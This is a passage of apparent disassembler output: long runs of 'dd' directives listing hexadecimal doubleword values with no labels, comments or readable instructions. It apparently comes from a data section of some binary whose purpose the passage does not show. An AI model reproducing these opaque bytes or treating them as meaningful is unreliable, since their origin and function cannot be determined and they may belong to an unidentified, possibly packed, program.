353AF2D7h, 0D673E00h, 0FC16C24h, 6B700028h dd 7DC4C974h, 2A0032C2h, 5EB3E87Ch, 6C260Ch, 0E09A8052h dd 0B99E78DBh, 24FB0139h dd 650F7318h, 0AB918138h, 0C9E0BF98h, 0AA740780h, 0E13E52ECh dd 2CC06BF8h, 0F14C79h, 62472184h, 0B57AA4AAh, 0D309040Eh dd 26197AA0h, 0E312367Ch, 0C203BBDDh, 0A9DA0AFDh, 0CF41686Dh dd 49812BD4h, 0E1E6A086h, 0E848C1E3h, 2AB06145h, 8C2A400h dd 69230503h, 7D660F64h, 0DD60C0C5h, 3B222025h, 7E6DEBA1h dd 0BF4A0B8Fh, 346CE729h, 4C3768A0h, 2779C6BDh, 1F16AFCh dd 3A7DED80h, 9CE814Ch, 38674F70h, 0FC0344F4h, 51AB971h dd 169401Ah, 9D8B817h, 766FE4CBh, 235E25E1h, 2A685DF8h dd 164A6099h, 0AC08458Fh, 0FF8BEC73h, 0A1ABE23Bh, 970D408h dd 0B84000E0h, 7E2AC3Ah, 14C0C503h, 15A73E4Ch, 0E86F60F2h dd 1C336F9h, 50D439h, 0B40A3F66h, 0F58CE4Ch, 4BA87079h dd 0A29375A3h, 0D9CB01E8h, 0F935570Eh, 0D3638743h, 0FA4D0B73h dd 0C5A14070h, 456E0E1Ah, 1FA090F8h, 3741D0F1h, 836B071Dh dd 0D8B55B04h, 720CF080h, 0FA41D6Ah, 3491CBC6h, 0B2FE6880h dd 0BF01715Ah, 866710CCh, 0E3F09B90h, 6BD500E8h, 23406A68h dd 0C5000677h, 33F2CC76h, 3D202Dh, 930A64D9h, 190E1762h dd 8757A800h, 1C0C7824h, 75010972h, 73720FE8h, 2CC12F3Dh dd 0CD003769h, 99FE63EAh, 6BE500E3h, 5AD98B66h, 363870Fh dd 0BDDB8033h, 617CCD04h, 1D0AE806h, 0DF2BF300h, 52C7F511h dd 6D940CD0h, 0AB1F10E9h, 75A54500h, 2CCB3822h, 3040096h dd 0A8D33FCFh, 0B9005FFEh, 4DE0D16Eh, 0F14AE981h, 0A1F80C92h dd 0D4330038h, 2600FCABh, 0C2CB6678h, 125EEEC0h, 9DABF0Fh dd 0D301D14Ah, 8F0DE97Ch, 0E16ED933h, 439751B6h, 12A3F760h dd 0E740B3h, 0A2B1BDA6h, 0F5716031h, 0D2146160h, 394082h dd 0AEE059B8h, 0DF805627h, 28F4D00h, 53FFD1BFh, 0EA81002Fh dd 18EE20D0h, 2150E880h, 13DFCC8Dh, 7F00F0D2h, 0F4902FDh dd 93156085h, 2DE9DCB3h, 10AF0FC0h, 1992951h, 1C7F03F4h dd 0C834396Ch, 8D5B0F2Ch, 0F0775A22h, 977D007Ch, 872E79BFh dd 200362FCh, 0D8DF1CC0h, 9218995Ch, 79ED4C4h, 111D702Bh dd 0CEA01042h, 0FD3C157Bh, 3EF13C18h, 1CE20616h, 4808BAFAh dd 9C019411h, 0A1F1724Fh, 7B219619h, 4706CE06h, 80911411h dd 4A28E115h, 62F20C1Ch, 0C21166FAh, 10512039h, 4201EAC7h dd 2B574D4Ch, 5B6210F6h, 67511046h, 86E21D25h, 1FCB88C4h dd 3D404926h, 9B6288F4h, 50A41274h, 0EB069404h, 9E402705h dd 0F13ECBC7h, 6D724900h, 516B92A1h, 1BE0C135h, 4011B3A7h dd 0E3A5A384h, 0E99B960Fh, 4A8F00FCh, 6A3167h, 66159E5Fh dd 691E7340h, 96D2E103h, 1024C272h, 7C56DA60h, 189AED3Ch dd 0CD104C53h, 9E6D003Bh, 8B647910h, 11786225h, 74B3E3Eh dd 67742B95h, 831D26C2h, 0E0965F14h, 0F4425660h, 0DF1A0CDDh dd 65504F27h, 48C2DA18h, 6B71178h, 7CE9FEBh, 4206B0E4h dd 95613656h, 51C91438h, 0CB0094E6h, 22321267h, 0AE00A9EAh dd 18FF9EA4h, 678B641h, 0E29FC569h, 1C052012h, 70325985h dd 4693203Ch, 73A4409Bh, 0F845F92Ah, 0E00E627Dh, 0A35ECB70h dd 3026C315h, 89215B08h, 9570E039h, 39F2C038h, 0E1DB8007h dd 671D4D3Ah, 4279C02Ah, 0A0D47B02h, 35916B03h, 30616346h dd 2821F808h, 342ED473h, 0F705B996h, 940F4D97h, 6EF20048h dd 0C8D1A7EBh, 3FC371A0h, 4ECBF9E0h, 3787090Eh, 140A00E0h dd 0A52C645h, 5566A26Bh, 92CB00BCh, 8633846h, 0FE76682Eh dd 205FEA01h, 9984E9C6h, 9012ABF1h, 0CFAA0940h, 0FDE53B00h dd 0C30CA848h, 204000E6h, 911D9C92h, 1C126A0Bh, 445943C7h dd 3A186CB0h, 0CB69E008h, 405DC426h, 9AE03282h, 0FE7EAECh dd 8E81BC05h, 2D0FCF02h, 0A26F8880h, 0C0D47B09h, 53908E0h dd 0A1318015h, 0BE9A7CA5h, 9221060Ch, 0C02D0886h, 0A5995821h dd 0D700B360h, 7D501897h, 1777435h, 0E21CB2CDh, 2424CBD2h dd 20FB6D4h, 21B357F3h, 2306332Dh, 9F4992h, 0D60CB835h dd 0C0019110h, 0E3464A97h, 0BDD41DA2h, 136214D2h, 471F803Eh dd 5F752A6h, 71516Ch, 0C3777230h, 910C90D4h, 1921CA9Bh dd 0CD09C39Ch, 63E8927Ch, 0E004954h, 0E66655A8h, 0AB52972Bh dd 0A3EEB298h, 886712D4h, 1CEA8D55h, 803C7BEBh, 82E2CD01h dd 0A8301BD0h, 54D241A6h, 0BA6B0A9Ah, 93A46D12h, 173C0845h dd 7FFF1482h, 4CB8803Fh, 26FC771Dh, 1158BD5Eh, 0DB1E7EE5h dd 6826AC07h, 0F8CA990Fh, 75703CB9h, 8DA63305h, 79309D70h dd 68632136h, 94BA0005h, 0FA224B56h, 0B401C288h, 669D79ECh dd 2C245E23h, 0DBBD01B6h, 0A3F79C8Fh, 0BA002439h, 0C4003DB8h dd 0D8F92024h, 7D94616Dh, 4408DF32h, 9A6B4Dh, 753D0C9Ch dd 41734C20h, 13516300h, 0A1A86977h, 0A3D39300h, 5E9A753Ch dd 0A818E206h, 96BB680h, 0DD5D8777h, 0F73A8480h, 228136D7h dd 0A2F61061h, 806E5184h, 19D02B7Ch, 0DBD301F2h, 0B6D26D9Ah dd 61B0405Bh, 631A9CA8h, 84D8CBC5h, 0A061385Ch, 0B69AECA5h dd 5727448Ch, 95A59800h, 9EF2348Fh, 8F60B111h, 702CAA6Dh dd 0C82A2068h, 2CFAD0F0h, 1299B6Fh, 176E7FCDh, 7DF020h dd 0E405AE79h, 0EB99FB3Ch, 8E605F28h, 62E3518h, 319F7318h dd 86302C0Ah, 0EBA1F814h, 0B26B70C1h, 1C2263F2h, 9B681050h dd 0D47C0174h, 18996BA1h, 742988F7h, 0E59D403h, 0C4D912Ch dd 226D51A1h, 920982D9h, 0B39838h, 0D033D990h, 1CE7222Ah dd 430208C0h, 0E0335DBh, 0F671262Fh, 21240686h, 60935000h dd 5E033AC6h, 0F06500C1h, 0CB8F4E4Dh, 96E25547h, 617E4304h dd 0AC88ACCDh, 989249D2h, 0E9FCCF04h, 147440A5h, 9140BBD7h dd 40281140h, 0E4AC3388h, 76A59B04h, 25628E9Ah, 0A5935220h dd 0EA68901Fh, 0A7758043h, 0CA3092E0h, 8E8E12Eh, 1AC70033h dd 0A584FE72h, 40009FB9h, 88C4772Eh, 0A849F9A1h, 76AC3384h dd 0CDE49Bh, 41A371C5h, 0A0A8A476h, 8F6E123Bh, 32EB9DB3h dd 0E4015C44h, 60902B0Bh, 0D400E1C5h, 19C0D817h, 18EC9951h dd 21EE2A69h, 55F81639h, 0B7D42C01h, 0FF3D32A9h, 18F5C30h dd 7B2265DEh, 80EC2AA1h, 6409D731h, 4202CD9h, 5F8D286h dd 0BB9CC81Dh, 562BF100h, 0DA591913h, 7A77E215h, 41F26F61h dd 70A4DCA7h, 92DBD1D5h, 538D2F00h, 599AA89Bh, 36302D2h dd 503EFEA9h, 41F3A482h, 0FA4C5464h, 0AFA6818Ch, 48EC1A0Ah dd 3A1F00D2h, 8F4A6453h, 71005E21h, 885B8CDh, 326601FAh dd 4239CA20h, 9AB98448h, 0CB5A3C07h, 2C83A97h, 4A7C625h dd 7C446CC2h, 6B029446h, 65A63D05h, 5E103031h, 6C150563h dd 0E881A06h, 4162BA81h, 0E1AC29EFh, 0EDCB2820h, 816C3180h dd 6B021BB1h, 19666901h, 87A9045Bh, 606AC820h, 7A18291Eh dd 0AB3E776Ch, 2A6514A2h, 0FB630320h, 0DC80F38Dh, 687188C2h dd 58769278h, 0D0134C06h, 48140833h, 279E6F41h, 64109072h dd 1D604891h, 630375F1h, 907732EFh, 1D3C9B7Dh, 8290D749h dd 662DA643h, 0F9440867h, 0E13AB361h, 1AB8417Ah, 0E21B0025h dd 7DDE0FA2h, 248AFF9Ch, 0DA6D04F4h, 721CA02Ah, 9D2AA37Ah dd 9C12A813h, 740A2332h, 0CD26688Dh, 9A74D130h, 0E4134DD7h dd 1251CB09h, 5898C849h, 5086FE4h, 0C485A641h, 67624031h dd 0FA029A05h, 3DDB31CFh, 8027CA50h, 0C1263B21h, 191EC60h dd 0EA6EE88Ch, 24B677CBh, 9C057624h, 641D4D1Ah, 0D4789460h dd 796B219Dh, 0D47025C0h dd 802A013Ch, 106DA856h, 0BD58285Dh, 12CD30DEh, 359C13Dh dd 6F66431h, 0B74188C3h, 75212ECFh, 274674ACh, 65122573h dd 54AD5802h, 85804059h, 7BD1C84Ah, 0C0C4B095h, 73210EC0h dd 0CF7A8332h, 0DC7C4C2Ch, 4E38C02Ah, 0E084A86Ch, 4A2F6A20h dd 6E2C621Bh, 11E03C30h, 8836CB6Bh, 34848059h, 462BC2E0h dd 0CD206409h, 0B23890E8h, 53809632h, 30E8D391h, 920083A0h dd 6214E42Ch, 0D640FECBh, 9800D26h, 19C8F820h, 9EBA700Ch dd 330A48B6h, 0E161E3FAh, 3D3E6380h, 0FBD2A800h, 0B3A69F3Bh dd 0F9DD186Dh, 15CBA14Bh, 10598D05h, 80809F46h, 6306D20Eh dd 0C570506Fh, 0E0C8CEDAh, 4B06861Ch, 43D6DA65h, 0B6110020h dd 0CD646CFBh, 2030D5A2h, 0C79A5846h, 885CB17Bh, 1000FEDAh dd 94753E15h, 1EA730FFh, 2890E220h, 20359229h, 0C0FBC8EEh dd 0DA6E189Ch, 88660637h, 23CB0281h, 0DB8424h, 79530984h dd 0A26F4B88h, 7600BC96h, 0B29FCD68h, 7710C034h, 818C0492h dd 6D1C38B1h, 0A035DE0Bh, 0B79EA664h, 0C42490FCh, 127BA38h dd 6274107Dh, 0F8C2FDC3h, 86052A6h, 2557CF9Ch, 0A903BA24h dd 19357F6Eh, 1947BBD0h, 0AB2C00Dh, 3D9C590Fh, 0A2350064h dd 48207902h, 6B8B10C6h, 5C6DE484h, 0A02EC1C2h, 87985144h dd 0EF010B92h, 763B3E0h, 7B0A8FE4h, 24C3203Eh, 0FFEC033Eh dd 0F73B9BCh, 0AA6AB1F0h, 200B137Fh, 74C72060h, 0F24130C2h dd 245C5AA8h, 8F1453F9h, 0AC07213h, 3CAA948h, 5D5AF200h dd 2561D143h, 0A14E07BDh, 103CF7C9h, 8828CC78h, 0B2759500h dd 0D6613BE6h, 504700E8h, 4B3EDEBBh, 3878E0CBh, 3AFAED03h dd 0A0DFC275h, 78C0EA56h, 0F7B70063h, 0CCD34A47h, 87E84C4Dh dd 0E4005875h, 0B42A40EAh, 4295DBh, 4C61E5E8h, 6643ECE2h dd 3ADDE400h, 44E0D267h, 387F524Bh, 8FD13187h, 18523AFEh dd 81E2CA3h, 0EA185449h, 0EFC4B0h, 0E2CE613Eh, 0E6D14595h dd 0CD2C3800h, 0EE676587h, 40641EEAh, 59528B3h, 2B5EFBE8h dd 0C668037Fh, 0DBC1416Ah, 9839A045h, 0C045FF1h, 108303BEh dd 0E20DEAECh, 48500D8h, 6A15F51Bh, 0C7C459Dh, 6123C101h dd 804D658Fh, 5DF53084h, 1863861Dh, 5E7C3F06h, 0F0291B3Dh dd 87E93F74h, 3E78F080h, 76AF72B8h, 0DA2C0B50h, 799CF305h dd 0C6385D5h, 0C884704h, 307EC018h, 0F01B1F4Ah, 21583F03h dd 0E81F17A0h, 40B0631Eh, 0C1743DD7h, 0F3DB15E8h, 0E1598518h dd 7842E899h, 84713FD7h, 0F23BC258h, 0B5F91DAAh, 1DE2FD0Eh dd 80191967h, 7F72B56Bh, 926FF086h, 0FBEE0CCCh, 0A28B380h dd 829D900h, 1BF6D88Bh, 8719C181h, 2489F1A4h, 15000AE4h dd 8F5F7B9Fh, 0E0AEB718h, 1B61499h, 95120C35h, 0FCF5156Ah dd 6C330200h, 0F69D677Dh, 1EDC4104h, 0E3C34276h, 75191E6Dh dd 47A1138Eh, 3CF82014h, 4B0A02B1h, 6481EC6Eh, 0B6394474h dd 1B2ADE70h, 0BC818CF1h, 0B8020909h, 96DF1069h, 0D50780C7h dd 1419EF06h, 0F8228BE9h, 9E0AFCAh, 5C827F4Fh, 429165Ah dd 0D44E1748h, 0C1AB7306h, 74073514h, 0A384C88Ch, 0FCE851E4h dd 0D4C0855h, 0FF98997Ch, 22906046h, 0E75914CFh, 76FF0F64h dd 4F51D82Bh, 884CED83h, 3FE0C445h, 74648175h, 13DA1122h dd 408A9449h, 84E0A380h, 8C9C391Bh, 148A8A0Ch, 980B5580h dd 50C70C18h, 2CE08CA0h, 5504364Ah, 880C710Ah, 28E06566h dd 7EF495E1h, 20D488EDh, 1D4840E1h, 609291ABh, 8E101912h dd 286A2832h, 0A3E85180h, 2C0A0C99h, 54168CA8h, 9F1EE909h dd 2AEB640Ch, 25130A0Eh, 0A2A83292h, 23518028h, 0C61A054h dd 8C428C5Fh, 519C4D36h, 46A21E62h, 87B1241Bh, 0B89F9A0h dd 873F6E02h, 14496B19h, 62D84DB2h, 63601A74h, 4250BE61h dd 9503A577h, 29A50B8Dh, 0B7A8DC51h, 8268C381h, 0D84E7929h dd 26F930AAh, 4C0ACA58h, 8D52CA4h, 64D723D5h, 0ECD06F99h dd 10863D18h, 8E00E747h, 772BD150h, 0D47A650Bh, 88107818h dd 5DC5075h, 5403B388h, 6D9ACD1h, 0A57ED03Dh, 0F93E7025h dd 417444B0h, 59C029Fh, 3C304D25h, 471AA7BCh, 0A3818718h dd 6FA158C8h, 0C32DEF23h, 2CE47EC1h, 70F1115Bh, 0A0D9E13Fh dd 248CCC01h, 0CA0392DCh, 0E6ED4B36h, 0F9D6C849h, 0E461073Eh dd 406744A7h, 0AD6643E8h, 514DFD00h, 54628489h, 75EC3EEAh dd 3AF9D400h, 36DFD395h, 0FB9F6100h, 0A7D24C3Dh, 0D8EBE83Bh dd 4A431128h, 3700D37Ch, 3CE5E850h, 7FAD495h, 0E99F513Ah dd 0C0E0874Eh, 0ECE76144h, 0CF3C4778h, 0D15202F9h, 5A8B42E8h dd 7D048DA0h, 47C6BBC0h, 4B49050h, 0EFD58B48h, 0C444F339h dd 60127ECAh, 0F33DCE54h, 416BB939h, 18A60921h, 97DE0920h dd 0E02E3CA1h, 22B06499h, 85ABF813h, 76B2F402h, 3D30C0E6h dd 201A40D9h, 4790DB07h, 71206B04h, 5DDAD5h, 4DEED3A3h dd 81DE20D0h, 11C96F07h, 72550D45h, 0F8582083h, 5823E65Bh dd 971A7419h, 0CC60188Ah, 70DFB156h, 20235803h, 0E98106ACh dd 0D9F53D87h, 0E1814F18h, 0C6DF7F08h, 0C06C47F9h, 7CEE0329h dd 433DDE00h, 8FFC136Dh, 7193051Fh, 0BE8B440h, 60D7D661h dd 0E7426885h, 0D8808D57h, 0D60D8068h, 93046A1Bh, 0AF0BA881h dd 9C28941Bh, 9C83A0D0h, 4A055019h, 0D0722F78h, 44ABD438h dd 0C226818Ch, 1B5DB54Bh, 4B806930h, 9550C60Fh, 8CA8CD88h dd 0A01B775h, 80086BD6h, 203977BEh, 1F614100h, 6373DA49h dd 32EF3F3Eh, 8F998998h, 0D48F848h, 12289376h, 0CC642B55h dd 1FA35905h, 86197Ah, 77448821h, 0C300801Dh, 0DFB394E2h dd 0B69F663Eh, 0F9E60334h, 0EAC24836h, 0E15878CCh, 0D4670B50h dd 81540FE5h, 0B22A59A7h, 14A42D0h, 6883ECE3h, 4C79818Ch dd 82007244h, 63AF527Ch, 0A6AEFFD2h, 43BA1F04h, 0CAD14E0h dd 670708D0h, 0C8DFE24Ch, 610A74A3h, 97470830h, 833583C4h dd 0A9E281C8h, 0E422A09Dh, 29CCD549h, 53941025h, 91D9C808h dd 30F12B96h, 74598166h, 1110A58Dh, 782B2257h, 88C8CE7h dd 28285F8h, 4A2D570h, 0E49CDBA5h, 91929282h, 0B2F65A0Ch dd 6150008Ch, 0CCCBCE36h, 81318028h, 918209C8h, 44842283h dd 0FC8B8685h, 89918848h, 8B448A22h, 128D898Ch, 486F248Eh dd 22719170h, 737C72h, 0D9AF3D9Dh, 0CFB54164h, 32F45952h dd 9698B876h, 4865284h, 89B2AEBh, 0E7BCAD50h, 7F727C01h dd 0AF749724h, 0F0F09CF1h, 0FE960088h, 7395AEA5h, 7C3AE680h dd 72F43E5Ch, 970C7F09h, 99C08EECh, 74F1FC40h, 0D002AEFDh dd 8EA5FD00h, 804E3C95h, 9A924612h, 4D0FF48h, 71B2EAFFh dd 6D608856h, 11C6B145h, 7CB74369h, 38960729h, 0EC83B756h dd 110765D7h, 0D9D26386h, 8A8809DCh, 5F041808h, 180377D5h dd 980A79CEh, 0C8ED26Ch, 880491D4h, 0D9526F21h, 0A6B838h dd 0B5894B3Fh, 69540B41h, 9960FCF8h, 0F6B06318h, 968302DCh dd 9B047360h, 0C0EE1C87h, 46721E8Fh, 7152CE7Bh, 53A22F28h dd 0C33A83E4h, 411857CBh, 19316EBDh, 0DDA600A7h, 227DB93h dd 0A218BB52h, 0E32186BEh, 22820067h, 1A9E5C8Fh, 500492Fh dd 43034140h, 334F2CEh, 8E4574ADh, 61009804h, 8BD5435h dd 0C0EAE4DDh, 791E6A48h, 7A67710Fh, 0EDA0DA10h, 1B9B620h dd 5EF43BE7h, 0C05360B8h, 0C200716Ah, 86D908DFh, 0C0670589h dd 0CF174B40h, 70056CBh, 0C909584Ch, 0ECE88074h, 5E74F5h dd 6CFF5568h, 4A0A5373h dd 85EA3705h, 90201B86h, 38F2931Dh, 670074BDh, 0AA5C6373h dd 2F0EE416h, 6422340h, 2F196F4Fh, 0B85AF5A4h, 9A608E70h dd 0B71D3BE1h, 2A5F726Ah, 0C3E89404h, 0BB67E6D0h, 63CE1100h dd 92DB87C4h, 0FF5B0F10h, 0C5833960h, 0A6A3EA49h, 6106ED80h dd 7B599F60h, 16B9A5h, 0E18CA0A7h, 76E5CCE9h, 3ADAD500h dd 24C32BB6h, 0B4070018h, 713EC183h, 1A00E5A1h, 7C8A9A56h dd 0BF1F46h, 0B6FB3682h, 0AFE7554Ch, 348D3Ch, 23987DB5h dd 137475Eh, 367BC027h, 4A88C12Ch, 18B43C14h, 28302629h dd 8FCB3E22h, 7DB22708h, 2C82CE00h, 87BF0Fh, 1A7FFD31h dd 8CC9FAEDh, 7E904160h, 0C08D2B32h, 87B62A18h, 0CC062144h dd 0CBF9418Bh, 7F28CE80h, 86C32E81h, 8EBDD028h, 782B4630h dd 0C3B32729h, 288DC131h, 2546590Ah, 5D650CCEh, 2D7B8420h dd 83BE02FDh, 8ECB2C45h, 81C18883h, 805E28B9h, 799B5D29h dd 78FD57BEh, 9E6A1854h, 1D154952h, 0B6181174h, 13315CBEh dd 0BF9D019Eh, 0A294203Dh, 0E8198052h, 0AE4A2E86h, 0BE901DA3h dd 41540351h, 0F2B03E92h, 3A37CE5Ah, 1C5038E7h, 7CB55246h dd 0BCEB1FBEh, 0D6124E89h, 46276F27h, 0FF1EC9BBh, 0C7803D0Dh dd 96BD11D0h, 679B7B5Bh, 6863A899h, 0F4BD951Ch, 6D1E4D08h dd 0F934061Bh, 42EDC855h, 682C3B18h, 8BF817Dh, 31216034h dd 5B7BB25Fh, 19BCD818h, 0E9511D59h, 33BFB11h, 40084401h dd 1E4C183Ah, 0DE963844h, 0B8561733h, 159181Dh, 0C3AE81F9h dd 27A179C6h, 0CF353031h, 3E81A551h, 0A2C84550h, 781C7130h dd 0F02D55Eh, 0B8203093h, 0DC1485A7h, 0D13327C0h, 0B07F51C2h dd 3C7A57C9h, 0DB401953h, 0B30E198h, 0D7353012h, 1B18CD3Ah dd 60FC172Eh, 7BC35219h, 0F3A45355h, 9E12F105h, 0DC1B9911h dd 44F9E039h, 31436101h, 8A980902h, 4C553918h, 0FD95DE06h dd 2AC7F6B1h, 18423D1h, 8ED0D6DFh, 109954FAh, 31CDE95Bh dd 0AD309182h, 9B198A63h, 54284C18h, 8D7AD146h, 81A61E82h dd 0DDA4905Bh, 0CC648519h, 193ADD31h, 5468B888h, 89900A58h dd 619F0B07h, 0B5F590BEh, 20CDE8C2h, 0F2DF8491h, 0B79428BFh dd 5E971050h, 30422DFCh, 1128A98Ah, 424DA86Fh, 44AB8843h dd 42716A67h, 94558441h, 21D43F48h, 4E444711h, 0F0B5F722h dd 53460D08h, 0CF2808F5h, 483123D4h, 4109341Ah, 6C34D55Ch dd 22C045D1h, 491D138Ch, 7B0F3442h, 0D604482h, 5A023C43h dd 0F28C2161h, 0E3409B04h, 0D267A514h, 9C586364h, 2011514Bh dd 0D7789F93h, 0C3C14420h, 0D6281404h, 0C20C5B8Ah, 0B853D110h dd 551E184Ch, 917DD49h, 24D0C6F6h, 0C8D114A4h, 3CAEB338h dd 0B898E1ECh, 76116960h, 916CD30Bh, 253409E8h, 0A81338B2h dd 1EF9490Dh, 51E021D3h, 0A46B485Ah, 0D68188F7h, 6E4EB2E2h dd 91D91080h, 950A7A70h, 0E7EB4B1Eh, 9A896600h, 0B368AAAh dd 8E5BAF28h, 3479F000h, 591DBFFDh, 7D01DB55h, 6BB12E9Ah dd 2C43C70h, 9CFD9881h, 0FCC2891Ah, 0B10B1CC0h, 216147E8h dd 929A7A30h, 0E008E2D3h, 0C310320Ch, 0C22B4240h, 0CC012EE0h dd 402C8029h, 102E7F3Eh, 0D90730B5h, 26C25E5Dh, 1B04E2B1h dd 0C9980230h, 0AEFD2887h, 0BD021C90h, 3318820h, 0CC27791Ah dd 0CAA22B8Eh, 9412609Ah, 87800437h, 88BCFD2Bh, 7FEB1D28h dd 0CF110A48h, 2C2DE018h, 2F0579B1h, 150C62Bh, 2891C4C1h dd 28CA2C5Ch, 1FC4368Ch, 3BEBE88Bh, 0B9AB99BAh, 9A1A0038h dd 94368BF6h, 7CCB261Eh, 14BA2B3Ah, 998040A3h, 0F5EF36B9h dd 3A867F92h, 287BBCFCh, 3EF8C027h, 794CF28h, 47AB94EDh dd 6B83AF04h, 0D0970BA2h, 67AB0C8Eh, 7007A17Ch, 0C52B998Bh dd 0C8FD4141h, 90F53430h, 0E80092DCh, 28F66028h, 36CEBD55h dd 8F009892h, 4E840F2Ch, 26BFFE99h, 36404781h, 1A0F2850h dd 13BA2AF7h, 6C002035h, 0B52C3136h, 0CFD1EB90h, 837406A9h dd 2AEF4C8Fh, 8A9C9048h, 0FC570456h, 309EEB24h, 8ECB2800h dd 59CE0CF5h, 3A24907Eh, 978CC440h, 0CB3DFE58h, 5407C421h dd 296A32E8h, 0DD41D062h, 9A85ECE6h, 28402362h, 0F5C0612Dh dd 779B6D0h, 87C4BA41h, 89B54746h, 25678C00h, 0C805FE9Ah dd 0CF212F81h, 0C1F97081h, 12DFFC30h, 1453ACEh, 2E3285A0h dd 2241E0CFh, 213760C1h, 588F8BC0h, 0FDE181C1h, 862D8E7Dh dd 27423A40h, 0C89A6F08h, 0B507340Fh, 87304C88h, 782BF53Ah dd 2881A1C7h, 2C8CCDC0h, 79C00A1Fh, 4898E82Eh, 0A5567D04h dd 0CE2607F8h, 0D8BA857Dh, 0F05EFD4h, 0FDF57EC6h, 0F048608Ch dd 83BD0104h, 8DCEBA36h, 49B8272Bh, 3D90C218h, 32F041FEh dd 0FE881C30h, 9087E82Eh, 3ACB0FE8h, 3098119Bh, 8258C227h dd 8A3C7879h, 8CB3072Bh, 603A259Ah, 505F0423h, 7D2CAEEBh dd 9685C498h, 0B485B328h, 0E461DC13h, 0C36BEBAh, 3AB0FB01h dd 60B22A46h, 0A0B0FDDCh, 28DF9B74h, 0C42C2B1Eh, 0BA1C0349h dd 0CE0916BCh, 0E4C45587h, 0E650CFCDh, 68C4C0C8h, 2041812Eh dd 2D2C7104h, 7C3610C3h, 3A277869h, 0CF2E297Bh, 28874220h dd 3C902C96h, 0A7807E6Fh, 863979C2h, 1589134h, 27983AC0h dd 0F3468AC9h, 0C3EFB005h, 18346C68h, 9B0F5081h, 0E4BF3836h dd 2BE047Ah, 9948B9F6h, 3C84D907h, 0B2124708h, 0A78B7078h dd 93A54518h, 47E9C2C8h, 3C2071FDh, 0B07FA50h, 122D6BB1h dd 0D8C07EC2h, 64BA6ACCh, 0FD298105h, 40567DB2h, 5010F8CDh dd 74ADD8F5h, 0BFDC1761h, 8F20418Ch, 70CA212Dh, 0C54FFC38h dd 82BE440Eh, 79CC2732h, 0D498273Ch, 2EE85F5Eh, 47889100h dd 2F87C021h, 2EB17825h, 28CF041h, 86AFF932h, 6A9C90E0h dd 907C9274h, 4450C082h, 21B56722h, 2C41F0B0h, 21E87BBDh dd 5049CB4Fh, 1BC86C7Dh, 682A8D1Ah, 70A8DB89h, 80A1F9E0h dd 0B2344B2Bh, 5FEC5879h, 2F507441h, 0CB268234h, 8F90FB8Bh dd 7E8AF98Dh, 598E3BF0h, 5DE301A5h, 8CE02C2Bh, 0B6370EF5h dd 3D102181h, 7479C02Eh, 0C8B55098h, 82C135BAh, 13E0A390h dd 80840755h, 102F3835h, 0F9816BCFh, 0BE888EBFh, 0B3225E8h dd 0A160E3B0h, 1C212C96h, 82C2DC00h, 48266332h, 8CC11236h dd 1C203A9Ah, 942D8E7Eh, 4A9AE5E0h, 2180DBC4h, 0B903098Ch dd 1F03F8CCh, 0BA3188B5h, 88D867ADh, 3ADCFA8Bh, 0CADAF509h dd 86405C0Ch, 4C042AF1h, 4C72398h, 80000985h, 46B12B9Ah dd 0BEC52853h, 0F02E54B0h, 88B405BAh, 0F39E2737h, 28E830DCh dd 0C8B3BA2Eh, 0AA3AC1E9h, 0DCA6587Eh, 0AC5C9E25h, 2D2C3060h dd 0D41846C5h, 45248ABCh, 9A144426h, 6499D2F4h, 2C09F03Dh dd 30E17ECCh, 0B4EFF079h, 2D418C0Ch, 0D004E8BDh, 0CC26F0C0h dd 5F182E20h, 2B424F5h, 79C32E37h, 6FB9DC60h, 0B1283201h dd 0C85DD11Ah, 60A28BD0h, 717D314Fh, 0D403F0F8h, 0DC9DF166h dd 7908305Eh, 0F8699C21h, 0C98B9E00h, 0A5FA0CF0h, 0D4F6D8h dd 3DE3459Dh, 38FD520h, 18E1A400h, 4354FA7Eh, 5585061Eh dd 0A11C35EFh, 5B9C3A00h, 0BE38A1BBh, 0C2994F51h, 187EF670h dd 405BA480h, 1EC00Ch, 0B1621013h, 16A94E64h, 59270400h dd 0C7CD877h, 1FB6008Fh, 0AD36D92Ah, 71033846h, 0FC7F35FDh dd 5B578078h, 0EC440003h, 1774D82h, 0ED7BB63Ch, 0C1FD7B00h dd 0A41E5EDAh, 5906007Ch, 34E1489h, 0D50348ABh, 2F12A755h dd 7B2001FDh, 0CCC85371h, 11204EB5h, 96800F94h, 93FDE5B5h dd 6D603Ah, 1A9B5844h dd 6F2B4E7h, 0FA5BE039h, 80600841h, 0E752B021h, 0EE6E038Eh dd 1D500F2Fh, 0BDF49F80h, 5317BF0Ch, 7B2809h, 963B74B0h dd 0C92CA16h, 0B1B9EE2h, 9AB82B4Dh, 41702204h, 29C19082h dd 0CB893020h, 2450C44Eh, 0C88843FEh, 43E0C05Bh, 573D1555h dd 87881C8Ch, 0F306C1Bh, 0B11703B0h, 0BA403ACEh, 7DC3B0F7h dd 88F11506h, 1D294085h, 2A617C6Bh, 715401C0h, 69F52C03h dd 0A9D89DB2h, 0C93D49C2h, 74DC8283h, 72EB237Eh, 7B1B68B0h dd 5843DD01h, 0C9940EDFh, 884438A1h, 1CC87234h, 230A0CC4h dd 22D84278h, 52D730h, 8E8A1ECDh, 53C74467h, 1D31FF60h dd 0EC31991h, 6F7C7784h, 11087F4Ch, 793C21C1h, 0F9F8F719h dd 98FA1839h, 6887F08Dh, 88A6AF36h, 2EB82810h, 0D46957CEh dd 1A35F2B1h, 99115A8Fh, 8C18C8E0h, 84C41908h, 4016C47Fh dd 9D19943Dh, 0C7930FEBh, 63E7A131h, 8018E4F3h, 0D3B03D9h dd 77E4238h, 22BE056Bh, 27E5CBE1h, 0AFE48980h, 9BC1563Ch dd 0A9018F19h, 21805009h, 803CC884h, 0EB2802C2h, 9C0D8C13h dd 60829DB8h, 20128052h, 0D40CD797h, 0F4765Ch, 0DD6BA071h dd 31B920DCh, 5AF88982h, 270420CDh, 48DE7244h, 37A2EC04h dd 10038601h, 82C44AE6h, 300EFEE8h, 473002BFh, 84CB382Bh dd 922632C0h, 4840B558h, 6B054DC4h, 6FC6D525h, 0AC87F820h dd 0F05099D8h, 0C28F7D14h, 177D14h, 3AE864A9h, 532086B6h dd 0A87B0007h, 0A54C32CFh, 0F700042Fh, 234FE243h, 28290C5Ch dd 0CC454A1h, 0A8348893h, 0DB5106C0h, 0CC6881DAh, 6EE77084h dd 0BE08040h, 0EEF1141Bh, 0C980DC52h, 0DA11827Ch, 6C2A0501h dd 8510343Fh, 9B4CDCh, 78A02B5Fh, 63FB7AA4h, 0ABDAB807h dd 602C7B2Ah, 0AA0A12DBh, 166C435Ah, 71DB6ED4h, 8AE880D0h dd 418990CEh, 